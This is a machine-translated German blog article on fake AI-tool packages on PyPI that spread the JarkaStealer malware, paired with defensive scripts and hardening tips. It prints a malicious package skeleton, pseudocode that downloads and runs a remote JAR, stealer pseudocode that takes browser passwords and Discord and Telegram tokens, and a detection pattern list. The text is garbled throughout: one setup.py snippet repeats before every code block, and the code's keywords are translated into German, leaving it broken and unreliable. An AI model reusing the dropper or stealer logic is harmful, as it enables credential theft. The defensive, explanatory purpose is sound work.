In den letzten Monaten haben anspruchsvolle Lieferkettenangriffe auf Python -Entwickler durch PYPI -Pakete, die sich als KI -Entwicklungstools tarnen, ansteigt. Lassen Sie uns diese Angriffe analysieren und lernen, wie wir unsere Entwicklungsumgebungen schützen können.
Zwei bemerkenswerte Pakete wurden entdeckt, um Jarkastealer Malware zu verteilen:
Beide Pakete zogen vor ihrer eventuellen Entfernung von Pypi Tausende von Downloads an.
So sah eine typische bösartige Paketstruktur aus:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows# setup.py Aus Setuptools Import -Setup aufstellen( name = "gptplus", Version = "1.0.0", Beschreibung = "Verbesserte GPT-4-Turbo-API-Integration", Pakete = ["gptplus"], install_requires = [ "Anfragen> = 2.25.1", "Cryptography> = 3.4.7" ] ) # Innerhalb der Hauptpaketdatei Import Base64 OS importieren Subprozess importieren Def initialize (): coded_payload = "base64_encoded_malicious_payload" decoded = base64.b64Decode (coded_payload) # Bösartige Ausführung folgt
Der Angriff folgte dieser Sequenz:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows# vereinfachte Darstellung des Malware -Bereitstellungsprozesses DEF DEPOLY_MALWARE (): # Überprüfen Sie, ob Java installiert ist Wenn nicht is_java_installed (): download_jre () # Bösartiges Glas herunterladen JAR_URL = "https://github.com/redacted weibliche/javaupdater.jar" download_file (jar_url, "javaupdater.jar") # Mit Systemrechten ausführen Subprozess.run (["Java", "-Jar", "Javaupdater.jar"])
Jarkastealers Datenerfassungsmethoden:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows# pseudocode, die die Operation von Jarkastealer darstellt Klasse Jarkastealer: Def Collect_Browser_Data (Selbst): Pfade = { 'Chrome': os.path.join (os.getenv ('localAppdata'), 'Google/Chrome/Benutzerdaten/Standard'), 'Firefox': os.path.join (os.getenv ('AppData'), 'Mozilla/Firefox/Profile') } # Cookies, Historie, gespeicherte Passwörter extrahieren Def Collect_System_info (Selbst): info = { 'Hostname': os.getenv ('CompuNername'), 'Benutzername': os.getenv ('Benutzername'), 'IP': Requests.get ('https://api.ipify.org') .text } Info zurückgeben Def steal_tokens (Selbst): token_paths = { 'Discord': os.path.join (os.getenv ('AppData'), 'Discord'), 'Telegram': os.path.join (os.getenv ('AppData'), 'Telegram Desktop') } # Token aus Extrahieren und Exfiltrat
Hier ist ein Tool, mit dem Sie Pakete vor der Installation überprüfen können:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution followsImportieren von Anfragen JSON importieren Aus der DateTime -Importdatetime importieren Subprozess importieren Def Analyze_Package (package_name): "" " Umfassendes Tool für Paketanalyse "" " Def check_pypi_info (): url = f "https://pypi.org/pypi/erpackage_name}/json" response = requests.get (URL) if response.status_code == 200: Data = response.json () zurückkehren { "Autor": Daten ["Info"] ["Autor"], "Betreuer": Daten ["Info"] ["Betreuer"], "home_page": data ["info"] ["home_page"], "project_urls": data ["info"] ["project_urls"], "Release_date": DateTime.FromisoFormat ( Data ["Releases"] [Daten ["Info"] ["Version"] [0] ["Upload_Time_ISO_8601"] ) } keine zurückgeben Def scan_dependencies (): result = subprocess.run ( ["PIP-ADIT", Package_Name], capture_output = true, text = true ) Rückgabeergebnis.stdout info = check_pypi_info ()) Wenn Info: print (f "Paketanalyse für {package_name}:") print (f "Autor: {info ['Autor']}")) print (f "Wartung: {info ['staarting']}")) print (f "homepage: {info ['home_page']}") print (f "Veröffentlichungsdatum: {info ['release_date']}")) # Rote Fahnen überprüfen if (datetime.now () - info ['release_date']). Tage 2. Systemüberwachungslösung
implementieren Sie dieses Überwachungsskript, um verdächtige Aktivitäten zu erkennen:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution followspsutil importieren OS importieren Protokollierung importieren von Watchdog.observers Import Observer von Watchdog.Events importieren Sie DateisystemeventHandler Klasse MusticoricalctivityMonitor (DateisystemEventHandler): def __init __ (selbst): self.logger = logging.getLogger ('SecurityMonitor') self.uspicious_patterns = [ "Javaupdater", '.Krug', 'Base64', 'Telegramm', 'Zwietracht' ] Def On_Created (Selbst, Ereignis): Wenn nicht Ereignis.is_Directory: self._check_file (event.src_path) def _check_file (self, filepath): fileName = os.Path.Basename (Filepath) # Überprüfen Sie auf verdächtige Muster Für Muster in self.uspicious_Patterns: if muster.lower () in Dateiname.lower (): self.logger.warning ( f "Verdächtige Datei erstellt: {filepath}" ) # Nach Base64 codierter Inhalte prüfen versuchen: mit offen (filepath, 'r') als f: content = f.read () Wenn 'Base64' im Inhalt: self.logger.warning ( f "Mögliche Base64 codierte Nutzlast in: {filepath}" ) außer: passieren Def start_monitoring (): logging.basicconfig (Level = logging.info) Event_handler = MUSTORYACTIVITICITYMONITOR () Beobachter = Beobachter () Observer.Schedule (event_handler, path = os.getCWD (), rekursiv = true) Beobachter.Start () Beobachter zurückgeben
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows# Erstellen Sie für jedes Projekt isolierte Umgebungen Python -m -Venv .venv Quelle .venv/bin/aktivieren # UNIX .venv \ scripts \ aktivieren # Windows # Abhängigkeiten von Schloss PIP Freeze> Anforderungen.txt
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows# Beispiel GitHub -Aktionen Workflow Name: Sicherheits -Scan ON: [Push, Pull_Request] Jobs: Sicherheit: Läufe: Ubuntu-latest Schritte: - Verwendet: Aktionen/Checkout@v2 - Name: Security Scan ausführen Run: | PIP -Sicherheitsbandit installieren Sicherheitsprüfung Bandit -r.
Der Aufstieg von PYPI-Angriffen von Ai-Themen stellt eine ausgefeilte Entwicklung der Bedrohungen der Lieferkette dar. Durch die Implementierung robuster Überprüfungsprozesse und die Aufrechterhaltung von wachsamen Überwachungssystemen können Entwicklungsteams ihre Exposition gegenüber diesen Risiken erheblich verringern.
Denken Sie daran: Überprüfen Sie bei der Integration von KI -Paketen immer die Quelle, scannen Sie den Code und führen Sie eine umfassende Sicherheitsüberwachung bei. Die Kosten für die Prävention sind immer niedriger als die Kosten für die Wiederherstellung einer Sicherheitsverletzung.
Hinweis: Dieser Artikel basiert auf echten Sicherheitsvorfällen. Einige Code -Beispiele wurden geändert, um Missbrauch zu verhindern.
Haftungsausschluss: Alle bereitgestellten Ressourcen stammen teilweise aus dem Internet. Wenn eine Verletzung Ihres Urheberrechts oder anderer Rechte und Interessen vorliegt, erläutern Sie bitte die detaillierten Gründe und legen Sie einen Nachweis des Urheberrechts oder Ihrer Rechte und Interessen vor und senden Sie ihn dann an die E-Mail-Adresse: [email protected] Wir werden die Angelegenheit so schnell wie möglich für Sie erledigen.
Copyright© 2022 湘ICP备2022001581号-3